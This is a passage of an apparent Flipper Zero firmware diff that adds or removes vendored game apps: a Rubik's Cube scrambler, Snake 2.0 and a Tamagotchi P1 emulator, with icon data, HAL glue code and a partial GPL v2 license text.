if(size % 2 != 0) {
mid++;
}
int32_t first_index = 0, second_index = 0;
for(int32_t i = 0; i < size; i++) {
if(i < mid) {
first[first_index++] = original[i];
} else {
if(i == mid && (original[i] == '2' || original[i] == '\'')) {
continue;
}
second[second_index++] = original[i];
}
}
first[first_index] = '\0';
second[second_index] = '\0';
}
void genScramble() {
scrambleReplace();
strcpy(scramble_str, printData());
split_array(scramble_str, strlen(scramble_str), scramble_start, scramble_end);
}
static void draw_callback(Canvas* canvas, void* ctx) {
UNUSED(ctx);
canvas_clear(canvas);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 4, 13, "Rubik's Cube Scrambler");
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(canvas, 64, 28, AlignCenter, AlignCenter, scramble_start);
canvas_draw_str_aligned(canvas, 64, 38, AlignCenter, AlignCenter, scramble_end);
elements_button_center(canvas, "New");
elements_button_left(canvas, notifications_enabled ? "On" : "Off");
}
static void input_callback(InputEvent* input_event, void* ctx) {
furi_assert(ctx);
FuriMessageQueue* event_queue = ctx;
furi_message_queue_put(event_queue, input_event, FuriWaitForever);
}
int32_t rubiks_cube_scrambler_main(void* p) {
UNUSED(p);
InputEvent event;
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, draw_callback, NULL);
view_port_input_callback_set(view_port, input_callback, event_queue);
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
while(true) {
furi_check(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk);
if(event.key == InputKeyOk && event.type == InputTypeShort) {
genScramble();
if(notifications_enabled) {
success_vibration();
}
}
if(event.key == InputKeyLeft && event.type == InputTypeShort) {
if(notifications_enabled) {
notifications_enabled = false;
} else {
notifications_enabled = true;
success_vibration();
}
}
if(event.key == InputKeyBack) {
break;
}
view_port_update(view_port);
}
furi_message_queue_free(event_queue);
gui_remove_view_port(gui, view_port);
view_port_free(view_port);
furi_record_close(RECORD_GUI);
return 0;
}

60
applications/external/rubiks_cube_scrambler/scrambler.c vendored
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/*
Authors: Tanish Bhongade and RaZe
*/
#include <stdio.h>
#include <furi.h>
#include <gui/gui.h>
#include "furi_hal_random.h"
#include <input/input.h>
#include <gui/elements.h>
#include "scrambler.h"
// 6 moves along with direction
char moves[6] = {'R', 'U', 'F', 'B', 'L', 'D'};
char dir[4] = {'\'', '2'};
const int32_t SLEN = 20;
#define RESULT_SIZE 100
struct GetScramble {
char mainScramble[25][3];
};
struct GetScramble a;
void scrambleReplace() {
// Initialize the mainScramble array with all the possible moves
for(int32_t i = 0; i < SLEN; i++) {
a.mainScramble[i][0] = moves[furi_hal_random_get() % 6];
a.mainScramble[i][1] = dir[furi_hal_random_get() % 3];
}
/* // Perform the Fisher-Yates shuffle
for (int32_t i = 6 - 1; i > 0; i--)
{
int32_t j = rand() % (i + 1);
char temp[3];
strcpy(temp, a.mainScramble[i]);
strcpy(a.mainScramble[i], a.mainScramble[j]);
strcpy(a.mainScramble[j], temp);
} */
// Select the first 10 elements as the scramble, using only the first two elements of the dir array
for(int32_t i = 0; i < SLEN; i++) {
a.mainScramble[i][1] = dir[furi_hal_random_get() % 3];
}
for(int32_t i = 1; i < SLEN; i++) {
while(a.mainScramble[i][0] == a.mainScramble[i - 2][0] ||
a.mainScramble[i][0] == a.mainScramble[i - 1][0]) {
a.mainScramble[i][0] = moves[furi_hal_random_get() % 5];
}
}
}
char* printData() {
static char result[RESULT_SIZE];
int32_t offset = 0;
for(int32_t loop = 0; loop < SLEN; loop++) {
offset += snprintf(result + offset, RESULT_SIZE - offset, "%s ", a.mainScramble[loop]);
}
return result;
}

2
applications/external/rubiks_cube_scrambler/scrambler.h vendored
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@@ -1,2 +0,0 @@
void scrambleReplace();
char* printData();

15
applications/external/snake_2/application.fam vendored
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App(
appid="snake20",
name="Snake 2.0",
apptype=FlipperAppType.EXTERNAL,
entry_point="snake_20_app",
cdefines=["APP_SNAKE_20"],
requires=["gui"],
stack_size=1 * 1024,
fap_icon="snake_10px.png",
fap_category="Games",
fap_author="@Willzvul",
fap_weburl="https://github.com/Willzvul/Snake_2.0",
fap_version="2.0",
fap_description="Advanced Snake Game (Remake of original Snake)",
)

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applications/external/snake_2/snake_10px.png vendored
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528
applications/external/snake_2/snake_20.c vendored
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#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <dolphin/dolphin.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
typedef struct {
// +-----x
// |
// |
// y
uint8_t x;
uint8_t y;
} Point;
typedef enum {
GameStateLife,
GameStatePause,
// https://melmagazine.com/en-us/story/snake-nokia-6110-oral-history-taneli-armanto
// Armanto: While testing the early versions of the game, I noticed it was hard
// to control the snake upon getting close to and edge but not crashing — especially
// in the highest speed levels. I wanted the highest level to be as fast as I could
// possibly make the device "run," but on the other hand, I wanted to be friendly
// and help the player manage that level. Otherwise it might not be fun to play. So
// I implemented a little delay. A few milliseconds of extra time right before
// the player crashes, during which she can still change the directions. And if
// she does, the game continues.
GameStateLastChance,
GameStateGameOver,
} GameState;
// Note: do not change without purpose. Current values are used in smart
// orthogonality calculation in `snake_game_get_turn_snake`.
typedef enum {
DirectionUp,
DirectionRight,
DirectionDown,
DirectionLeft,
} Direction;
#define MAX_SNAKE_LEN 15 * 31 //128 * 64 / 4
#define x_back_symbol 50
#define y_back_symbol 9
typedef struct {
FuriMutex* mutex;
Point points[MAX_SNAKE_LEN];
uint16_t len;
Direction currentMovement;
Direction nextMovement; // if backward of currentMovement, ignore
Point fruit;
GameState state;
} SnakeState;
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} SnakeEvent;
const NotificationSequence sequence_fail = {
&message_vibro_on,
&message_note_ds4,
&message_delay_10,
&message_sound_off,
&message_delay_10,
&message_note_ds4,
&message_delay_10,
&message_sound_off,
&message_delay_10,
&message_note_ds4,
&message_delay_10,
&message_sound_off,
&message_delay_10,
&message_vibro_off,
NULL,
};
const NotificationSequence sequence_eat = {
&message_vibro_on,
&message_note_c7,
&message_delay_50,
&message_sound_off,
&message_vibro_off,
NULL,
};
static void snake_game_render_callback(Canvas* const canvas, void* ctx) {
furi_assert(ctx);
const SnakeState* snake_state = ctx;
furi_mutex_acquire(snake_state->mutex, FuriWaitForever);
// Before the function is called, the state is set with the canvas_reset(canvas)
// Frame
canvas_draw_frame(canvas, 0, 0, 128, 64);
// Fruit
Point f = snake_state->fruit;
f.x = f.x * 4 + 1;
f.y = f.y * 4 + 1;
canvas_draw_rframe(canvas, f.x, f.y, 6, 6, 2);
canvas_draw_dot(canvas, f.x + 3, f.y - 1);
canvas_draw_dot(canvas, f.x + 4, f.y - 2);
//canvas_draw_dot(canvas,f.x+4,f.y-3);
// Snake
for(uint16_t i = 0; i < snake_state->len; i++) {
Point p = snake_state->points[i];
p.x = p.x * 4 + 2;
p.y = p.y * 4 + 2;
canvas_draw_box(canvas, p.x, p.y, 4, 4);
if(i == 0) {
canvas_set_color(canvas, ColorWhite);
canvas_draw_box(canvas, p.x + 1, p.y + 1, 2, 2);
canvas_set_color(canvas, ColorBlack);
}
}
// Pause and GameOver banner
if(snake_state->state == GameStatePause || snake_state->state == GameStateGameOver) {
// Screen is 128x64 px
canvas_set_color(canvas, ColorWhite);
canvas_draw_box(canvas, 33, 19, 64, 26);
canvas_set_color(canvas, ColorBlack);
canvas_draw_frame(canvas, 34, 20, 62, 24);
canvas_set_font(canvas, FontPrimary);
if(snake_state->state == GameStateGameOver) {
canvas_draw_str_aligned(canvas, 65, 31, AlignCenter, AlignBottom, "Game Over");
}
if(snake_state->state == GameStatePause) {
canvas_draw_str_aligned(canvas, 65, 31, AlignCenter, AlignBottom, "Pause");
}
canvas_set_font(canvas, FontSecondary);
char buffer[20];
snprintf(buffer, sizeof(buffer), "Score: %u", snake_state->len - 7U);
canvas_draw_str_aligned(canvas, 65, 41, AlignCenter, AlignBottom, buffer);
// Painting "back"-symbol, Help message for Exit App, ProgressBar
canvas_set_color(canvas, ColorWhite);
canvas_draw_box(canvas, 25, 2, 81, 11);
canvas_draw_box(canvas, 28, 54, 73, 9);
canvas_set_color(canvas, ColorBlack);
canvas_draw_str_aligned(
canvas, 65, 10, AlignCenter, AlignBottom, "Hold to Exit App");
snprintf(
buffer, sizeof(buffer), "Complete: %-5.1f%%", (double)((snake_state->len - 7U) / 4.58));
canvas_draw_str_aligned(canvas, 65, 62, AlignCenter, AlignBottom, buffer);
{
canvas_draw_dot(canvas, x_back_symbol + 0, y_back_symbol);
canvas_draw_dot(canvas, x_back_symbol + 1, y_back_symbol);
canvas_draw_dot(canvas, x_back_symbol + 2, y_back_symbol);
canvas_draw_dot(canvas, x_back_symbol + 3, y_back_symbol);
canvas_draw_dot(canvas, x_back_symbol + 4, y_back_symbol);
canvas_draw_dot(canvas, x_back_symbol + 5, y_back_symbol - 1);
canvas_draw_dot(canvas, x_back_symbol + 6, y_back_symbol - 2);
canvas_draw_dot(canvas, x_back_symbol + 6, y_back_symbol - 3);
canvas_draw_dot(canvas, x_back_symbol + 5, y_back_symbol - 4);
canvas_draw_dot(canvas, x_back_symbol + 4, y_back_symbol - 5);
canvas_draw_dot(canvas, x_back_symbol + 3, y_back_symbol - 5);
canvas_draw_dot(canvas, x_back_symbol + 2, y_back_symbol - 5);
canvas_draw_dot(canvas, x_back_symbol + 1, y_back_symbol - 5);
canvas_draw_dot(canvas, x_back_symbol + 0, y_back_symbol - 5);
canvas_draw_dot(canvas, x_back_symbol - 1, y_back_symbol - 5);
canvas_draw_dot(canvas, x_back_symbol - 2, y_back_symbol - 5);
canvas_draw_dot(canvas, x_back_symbol - 3, y_back_symbol - 5);
canvas_draw_dot(canvas, x_back_symbol - 2, y_back_symbol - 6);
canvas_draw_dot(canvas, x_back_symbol - 2, y_back_symbol - 4);
canvas_draw_dot(canvas, x_back_symbol - 1, y_back_symbol - 6);
canvas_draw_dot(canvas, x_back_symbol - 1, y_back_symbol - 4);
canvas_draw_dot(canvas, x_back_symbol - 1, y_back_symbol - 7);
canvas_draw_dot(canvas, x_back_symbol - 1, y_back_symbol - 3);
}
}
furi_mutex_release(snake_state->mutex);
}
static void snake_game_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
SnakeEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void snake_game_update_timer_callback(FuriMessageQueue* event_queue) {
furi_assert(event_queue);
SnakeEvent event = {.type = EventTypeTick};
furi_message_queue_put(event_queue, &event, 0);
}
static void snake_game_init_game(SnakeState* const snake_state) {
Point p[] = {{8, 6}, {7, 6}, {6, 6}, {5, 6}, {4, 6}, {3, 6}, {2, 6}};
memcpy(snake_state->points, p, sizeof(p)); //-V1086
snake_state->len = 7;
snake_state->currentMovement = DirectionRight;
snake_state->nextMovement = DirectionRight;
Point f = {18, 6};
snake_state->fruit = f;
snake_state->state = GameStateLife;
}
static Point snake_game_get_new_fruit(SnakeState const* const snake_state) {
// 1 bit for each point on the playing field where the snake can turn
// and where the fruit can appear
uint16_t buffer[8];
memset(buffer, 0, sizeof(buffer));
uint8_t empty = 8 * 16;
for(uint16_t i = 0; i < snake_state->len; i++) {
Point p = snake_state->points[i];
if(p.x % 2 != 0 || p.y % 2 != 0) {
continue;
}
p.x /= 2;
p.y /= 2;
buffer[p.y] |= 1 << p.x;
empty--;
}
// Bit set if snake use that playing field
uint16_t newFruit = rand() % empty;
// Skip random number of _empty_ fields
for(uint8_t y = 0; y < 8; y++) {
for(uint16_t x = 0, mask = 1; x < 16; x += 1, mask <<= 1) {
if((buffer[y] & mask) == 0) {
if(newFruit == 0) {
Point p = {
.x = x * 2,
.y = y * 2,
};
return p;
}
newFruit--;
}
}
}
// We will never be here
Point p = {0, 0};
return p;
}
static bool snake_game_collision_with_frame(Point const next_step) {
// if x == 0 && currentMovement == left then x - 1 == 255 ,
// so check only x > right border
return next_step.x > 30 || next_step.y > 14;
}
static bool
snake_game_collision_with_tail(SnakeState const* const snake_state, Point const next_step) {
for(uint16_t i = 0; i < snake_state->len; i++) {
Point p = snake_state->points[i];
if(p.x == next_step.x && p.y == next_step.y) {
return true;
}
}
return false;
}
static Direction snake_game_get_turn_snake(SnakeState const* const snake_state) {
// Sum of two `Direction` lies between 0 and 6, odd values indicate orthogonality.
bool is_orthogonal = (snake_state->currentMovement + snake_state->nextMovement) % 2 == 1;
return is_orthogonal ? snake_state->nextMovement : snake_state->currentMovement;
}
static Point snake_game_get_next_step(SnakeState const* const snake_state) {
Point next_step = snake_state->points[0];
switch(snake_state->currentMovement) {
// +-----x
// |
// |
// y
case DirectionUp:
next_step.y--;
break;
case DirectionRight:
next_step.x++;
break;
case DirectionDown:
next_step.y++;
break;
case DirectionLeft:
next_step.x--;
break;
}
return next_step;
}
static void snake_game_move_snake(SnakeState* const snake_state, Point const next_step) {
memmove(snake_state->points + 1, snake_state->points, snake_state->len * sizeof(Point));
snake_state->points[0] = next_step;
}
static void
snake_game_process_game_step(SnakeState* const snake_state, NotificationApp* notification) {
if(snake_state->state == GameStateGameOver) {
return;
}
snake_state->currentMovement = snake_game_get_turn_snake(snake_state);
Point next_step = snake_game_get_next_step(snake_state);
bool crush = snake_game_collision_with_frame(next_step);
if(crush) {
if(snake_state->state == GameStateLife) {
snake_state->state = GameStateLastChance;
return;
} else if(snake_state->state == GameStateLastChance) {
snake_state->state = GameStateGameOver;
notification_message_block(notification, &sequence_fail);
return;
}
} else {
if(snake_state->state == GameStateLastChance) {
snake_state->state = GameStateLife;
}
}
crush = snake_game_collision_with_tail(snake_state, next_step);
if(crush) {
snake_state->state = GameStateGameOver;
notification_message_block(notification, &sequence_fail);
return;
}
bool eatFruit = (next_step.x == snake_state->fruit.x) && (next_step.y == snake_state->fruit.y);
if(eatFruit) {
snake_state->len++;
if(snake_state->len >= MAX_SNAKE_LEN) {
//You win!!!
snake_state->state = GameStateGameOver;
notification_message_block(notification, &sequence_fail);
return;
}
}
snake_game_move_snake(snake_state, next_step);
if(eatFruit) {
snake_state->fruit = snake_game_get_new_fruit(snake_state);
notification_message(notification, &sequence_eat);
notification_message(notification, &sequence_blink_red_100);
}
}
int32_t snake_20_app(void* p) {
UNUSED(p);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(SnakeEvent));
SnakeState* snake_state = malloc(sizeof(SnakeState));
snake_game_init_game(snake_state);
snake_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
if(!snake_state->mutex) {
FURI_LOG_E("SnakeGame", "cannot create mutex\r\n");
furi_message_queue_free(event_queue);
free(snake_state);
return 255;
}
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, snake_game_render_callback, snake_state);
view_port_input_callback_set(view_port, snake_game_input_callback, event_queue);
FuriTimer* timer =
furi_timer_alloc(snake_game_update_timer_callback, FuriTimerTypePeriodic, event_queue);
furi_timer_start(timer, furi_kernel_get_tick_frequency() / 4);
// Open GUI and register view_port
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
notification_message_block(notification, &sequence_display_backlight_enforce_on);
dolphin_deed(DolphinDeedPluginGameStart);
SnakeEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
furi_mutex_acquire(snake_state->mutex, FuriWaitForever);
if(event_status == FuriStatusOk) {
if(event.type == EventTypeKey) {
// press events
if(event.input.type == InputTypePress) {
switch(event.input.key) {
case InputKeyUp:
if(snake_state->state != GameStatePause) {
snake_state->nextMovement = DirectionUp;
}
break;
case InputKeyDown:
if(snake_state->state != GameStatePause) {
snake_state->nextMovement = DirectionDown;
}
break;
case InputKeyRight:
if(snake_state->state != GameStatePause) {
snake_state->nextMovement = DirectionRight;
}
break;
case InputKeyLeft:
if(snake_state->state != GameStatePause) {
snake_state->nextMovement = DirectionLeft;
}
break;
case InputKeyOk:
if(snake_state->state == GameStateGameOver) {
snake_game_init_game(snake_state);
}
if(snake_state->state == GameStatePause) {
furi_timer_start(timer, furi_kernel_get_tick_frequency() / 4);
snake_state->state = GameStateLife;
}
break;
case InputKeyBack:
if(snake_state->state == GameStateLife) {
furi_timer_stop(timer);
snake_state->state = GameStatePause;
break;
}
if(snake_state->state == GameStatePause) {
furi_timer_start(timer, furi_kernel_get_tick_frequency() / 4);
snake_state->state = GameStateLife;
break;
}
if(snake_state->state == GameStateGameOver) {
snake_game_init_game(snake_state);
}
default:
break;
}
}
//LongPress Events
if(event.input.type == InputTypeLong) {
switch(event.input.key) {
case InputKeyUp:
if(snake_state->state != GameStatePause) {
snake_state->nextMovement = DirectionUp;
furi_timer_start(timer, furi_kernel_get_tick_frequency() / 8);
}
break;
case InputKeyDown:
if(snake_state->state != GameStatePause) {
snake_state->nextMovement = DirectionDown;
furi_timer_start(timer, furi_kernel_get_tick_frequency() / 8);
}
break;
case InputKeyRight:
if(snake_state->state != GameStatePause) {
snake_state->nextMovement = DirectionRight;
furi_timer_start(timer, furi_kernel_get_tick_frequency() / 8);
}
break;
case InputKeyLeft:
if(snake_state->state != GameStatePause) {
snake_state->nextMovement = DirectionLeft;
furi_timer_start(timer, furi_kernel_get_tick_frequency() / 8);
}
break;
case InputKeyBack:
processing = false;
break;
default:
break;
}
}
//ReleaseKey Event
if(event.input.type == InputTypeRelease) {
if(snake_state->state != GameStatePause) {
furi_timer_start(timer, furi_kernel_get_tick_frequency() / 4);
}
}
} else if(event.type == EventTypeTick) {
snake_game_process_game_step(snake_state, notification);
}
} else {
// event timeout
}
view_port_update(view_port);
furi_mutex_release(snake_state->mutex);
}
// Wait for all notifications to be played and return backlight to normal state
notification_message_block(notification, &sequence_display_backlight_enforce_auto);
furi_timer_free(timer);
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
view_port_free(view_port);
furi_message_queue_free(event_queue);
furi_mutex_free(snake_state->mutex);
free(snake_state);
return 0;
}

11
applications/external/tama_p1/application.fam vendored
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@@ -1,11 +0,0 @@
App(
appid="tama_p1",
name="Tamagotchi",
apptype=FlipperAppType.EXTERNAL,
entry_point="tama_p1_app",
cdefines=["APP_TAMA_P1"],
requires=["gui", "storage"],
stack_size=2 * 1024,
fap_icon="tamaIcon.png",
fap_category="Games",
)

66
applications/external/tama_p1/compiled/assets_icons.h vendored
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@@ -1,66 +0,0 @@
#include <gui/icon_i.h>
const uint8_t _I_icon_0_0[] = {
0x01, 0x00, 0x1a, 0x00, 0x00, 0x0d, 0xaa, 0x1d, 0x7e, 0x00, 0x9c, 0x3e, 0xf9, 0x0f, 0x9e,
0x43, 0xe3, 0x00, 0x12, 0x9c, 0x43, 0xa7, 0x10, 0xc9, 0xe4, 0x30, 0x0a, 0x31, 0x08, 0x60,
};
const uint8_t* const _I_icon_0[] = {_I_icon_0_0};
const uint8_t _I_icon_1_0[] = {
0x00, 0x00, 0x00, 0x40, 0x04, 0x04, 0x04, 0xf0, 0x11, 0xf9, 0x1b, 0xf8, 0x07, 0x8c, 0x06,
0xed, 0x36, 0xac, 0x26, 0xe8, 0x02, 0x52, 0x0b, 0x02, 0x18, 0xe0, 0x01, 0xe0, 0x01,
};
const uint8_t* const _I_icon_1[] = {_I_icon_1_0};
const uint8_t _I_icon_2_0[] = {
0x00, 0x00, 0x00, 0x0e, 0x00, 0x13, 0x00, 0x21, 0x3c, 0x21, 0x3e, 0x23, 0x3f, 0x9f, 0x1f,
0xc0, 0x0f, 0xe0, 0x07, 0xf0, 0x01, 0x7c, 0x00, 0x1f, 0x00, 0x06, 0x00, 0x06, 0x00,
};
const uint8_t* const _I_icon_2[] = {_I_icon_2_0};
const uint8_t _I_icon_3_0[] = {
0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x1c, 0x40, 0x3a, 0xc0, 0x36, 0xf0, 0x37, 0x18, 0x2d,
0x0c, 0x2b, 0x0e, 0x02, 0x1f, 0x06, 0x3e, 0x07, 0xfe, 0x00, 0x7f, 0x00, 0x18, 0x00,
};
const uint8_t* const _I_icon_3[] = {_I_icon_3_0};
const uint8_t _I_icon_4_0[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0x00, 0xc7, 0x3c, 0x82, 0x2f, 0xf2, 0x26, 0xc7, 0x2c,
0x69, 0x28, 0x2f, 0x2c, 0xe7, 0x27, 0x02, 0x20, 0x02, 0x30, 0x06, 0x1c, 0xfc, 0x0f,
};
const uint8_t* const _I_icon_4[] = {_I_icon_4_0};
const uint8_t _I_icon_5_0[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x01, 0xfe, 0x0f, 0x03, 0x38, 0xc9, 0x22, 0x9a, 0x32,
0xa2, 0x28, 0x24, 0x2c, 0x21, 0x20, 0x61, 0x30, 0x21, 0x10, 0xf3, 0x11, 0x1e, 0x0f,
};
const uint8_t* const _I_icon_5[] = {_I_icon_5_0};
const uint8_t _I_icon_6_0[] = {
0x01, 0x00, 0x17, 0x00, 0x00, 0x44, 0x62, 0xfd, 0x38, 0xbf, 0xcf, 0xb7, 0xf3, 0xf8,
0xfc, 0x6e, 0x3f, 0x1a, 0xff, 0xc0, 0x3f, 0xf0, 0x1f, 0xf4, 0x02, 0x71, 0x00,
};
const uint8_t* const _I_icon_6[] = {_I_icon_6_0};
const uint8_t _I_icon_7_0[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x00, 0x41, 0x0e, 0xc4, 0x1f, 0x94, 0x20,
0x00, 0x21, 0x22, 0x1f, 0x1d, 0x0a, 0x63, 0x20, 0xde, 0x20, 0x80, 0x1f, 0x00, 0x0e,
};
const uint8_t* const _I_icon_7[] = {_I_icon_7_0};
const Icon I_icon_0 =
{.width = 14, .height = 14, .frame_count = 1, .frame_rate = 0, .frames = _I_icon_0};
const Icon I_icon_1 =
{.width = 14, .height = 14, .frame_count = 1, .frame_rate = 0, .frames = _I_icon_1};
const Icon I_icon_2 =
{.width = 14, .height = 14, .frame_count = 1, .frame_rate = 0, .frames = _I_icon_2};
const Icon I_icon_3 =
{.width = 14, .height = 14, .frame_count = 1, .frame_rate = 0, .frames = _I_icon_3};
const Icon I_icon_4 =
{.width = 14, .height = 14, .frame_count = 1, .frame_rate = 0, .frames = _I_icon_4};
const Icon I_icon_5 =
{.width = 14, .height = 14, .frame_count = 1, .frame_rate = 0, .frames = _I_icon_5};
const Icon I_icon_6 =
{.width = 14, .height = 14, .frame_count = 1, .frame_rate = 0, .frames = _I_icon_6};
const Icon I_icon_7 =
{.width = 14, .height = 14, .frame_count = 1, .frame_rate = 0, .frames = _I_icon_7};

146
applications/external/tama_p1/hal.c vendored
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@@ -1,146 +0,0 @@
#include <furi.h>
#include <furi_hal.h>
#include <stdlib.h>
#include <stm32wbxx_ll_tim.h>
#include "tama.h"
#define TAG_HAL "TamaLIB"
static void* tama_p1_hal_malloc(u32_t size) {
return malloc(size);
}
static void tama_p1_hal_free(void* ptr) {
free(ptr);
}
static void tama_p1_hal_halt(void) {
g_ctx->halted = true;
}
static bool_t tama_p1_hal_is_log_enabled(log_level_t level) {
switch(level) {
case LOG_ERROR:
return true;
case LOG_INFO:
return true;
case LOG_MEMORY:
return false;
case LOG_CPU:
return false;
default:
return false;
}
}
static void tama_p1_hal_log(log_level_t level, char* buff, ...) {
if(!tama_p1_hal_is_log_enabled(level)) return;
FuriString* string = furi_string_alloc();
va_list args;
va_start(args, buff);
furi_string_cat_vprintf(string, buff, args);
va_end(args);
switch(level) {
case LOG_ERROR:
FURI_LOG_E(TAG_HAL, "%s", furi_string_get_cstr(string));
break;
case LOG_INFO:
FURI_LOG_I(TAG_HAL, "%s", furi_string_get_cstr(string));
break;
case LOG_MEMORY:
break;
case LOG_CPU:
FURI_LOG_D(TAG_HAL, "%s", furi_string_get_cstr(string));
break;
default:
FURI_LOG_D(TAG_HAL, "%s", furi_string_get_cstr(string));
break;
}
furi_string_free(string);
}
static void tama_p1_hal_sleep_until(timestamp_t ts) {
while(true) {
uint32_t count = LL_TIM_GetCounter(TIM2);
uint32_t delay = ts - count;
// FURI_LOG_D(TAG, "delay: %x", delay);
// Stolen from furi_delay_until_tick
if(delay != 0 && 0 == (delay >> (8 * sizeof(uint32_t) - 1))) {
// Not the best place to release mutex, but this is the only place we know whether
// we're ahead or behind, otherwise around the step call we'll always have to
// delay a tick and run more and more behind.
furi_mutex_release(g_state_mutex);
furi_delay_tick(1);
while(furi_mutex_acquire(g_state_mutex, FuriWaitForever) != FuriStatusOk)
furi_delay_tick(1);
} else {
break;
}
}
}
static timestamp_t tama_p1_hal_get_timestamp(void) {
return LL_TIM_GetCounter(TIM2);
}
static void tama_p1_hal_update_screen(void) {
// Do nothing, covered by main loop
}
static void tama_p1_hal_set_lcd_matrix(u8_t x, u8_t y, bool_t val) {
if(val)
g_ctx->framebuffer[y] |= 1 << x;
else
g_ctx->framebuffer[y] &= ~(1 << x);
}
static void tama_p1_hal_set_lcd_icon(u8_t icon, bool_t val) {
if(val)
g_ctx->icons |= 1 << icon;
else
g_ctx->icons &= ~(1 << icon);
}
static void tama_p1_hal_play_frequency(bool_t en) {
if(en) {
if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(30)) {
furi_hal_speaker_start(g_ctx->frequency, 0.5f);
}
} else {
if(furi_hal_speaker_is_mine()) {
furi_hal_speaker_stop();
furi_hal_speaker_release();
}
}
g_ctx->buzzer_on = en;
}
static void tama_p1_hal_set_frequency(u32_t freq) {
g_ctx->frequency = freq / 10.0F;
if(g_ctx->buzzer_on) tama_p1_hal_play_frequency(true);
}
static int tama_p1_hal_handler(void) {
// Do nothing
return 0;
}
void tama_p1_hal_init(hal_t* hal) {
hal->malloc = tama_p1_hal_malloc;
hal->free = tama_p1_hal_free;
hal->halt = tama_p1_hal_halt;
hal->is_log_enabled = tama_p1_hal_is_log_enabled;
hal->log = tama_p1_hal_log;
hal->sleep_until = tama_p1_hal_sleep_until;
hal->get_timestamp = tama_p1_hal_get_timestamp;
hal->update_screen = tama_p1_hal_update_screen;
hal->set_lcd_matrix = tama_p1_hal_set_lcd_matrix;
hal->set_lcd_icon = tama_p1_hal_set_lcd_icon;
hal->set_frequency = tama_p1_hal_set_frequency;
hal->play_frequency = tama_p1_hal_play_frequency;
hal->handler = tama_p1_hal_handler;
}

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/*
* TamaLIB - A hardware agnostic tama P1 emulation library
*
* Copyright (C) 2021 Jean-Christophe Rona <jc@rona.fr>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef _HAL_TYPES_H_
#define _HAL_TYPES_H_
#include <furi.h>
typedef bool bool_t;
typedef uint8_t u4_t;
typedef uint8_t u5_t;
typedef uint8_t u8_t;
typedef uint16_t u12_t;
typedef uint16_t u13_t;
typedef uint32_t u32_t;
typedef uint32_t
timestamp_t; // WARNING: Must be an unsigned type to properly handle wrapping (u32 wraps in around 1h11m when expressed in us)
#endif /* _HAL_TYPES_H_ */

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#pragma once
#include <input/input.h>
#include "tamalib/tamalib.h"
#define TAG "TamaP1"
#define TAMA_ROM_PATH APP_DATA_PATH("rom.bin")
#define TAMA_SCREEN_SCALE_FACTOR 2
#define TAMA_LCD_ICON_SIZE 14
#define TAMA_LCD_ICON_MARGIN 1
#define STATE_FILE_MAGIC "TLST"
#define STATE_FILE_VERSION 2
#define TAMA_SAVE_PATH APP_DATA_PATH("save.bin")
typedef struct {
FuriThread* thread;
hal_t hal;
uint8_t* rom;
// 32x16 screen, perfectly represented through uint32_t
uint32_t framebuffer[16];
uint8_t icons;
bool halted;
bool fast_forward_done;
bool buzzer_on;
float frequency;
} TamaApp;
typedef enum {
EventTypeInput,
EventTypeTick,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} TamaEvent;
extern TamaApp* g_ctx;
extern FuriMutex* g_state_mutex;
void tama_p1_hal_init(hal_t* hal);

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GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
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For example, if you distribute copies of such a program, whether
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you have. You must make sure that they, too, receive or can get the
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We protect your rights with two steps: (1) copyright the software, and
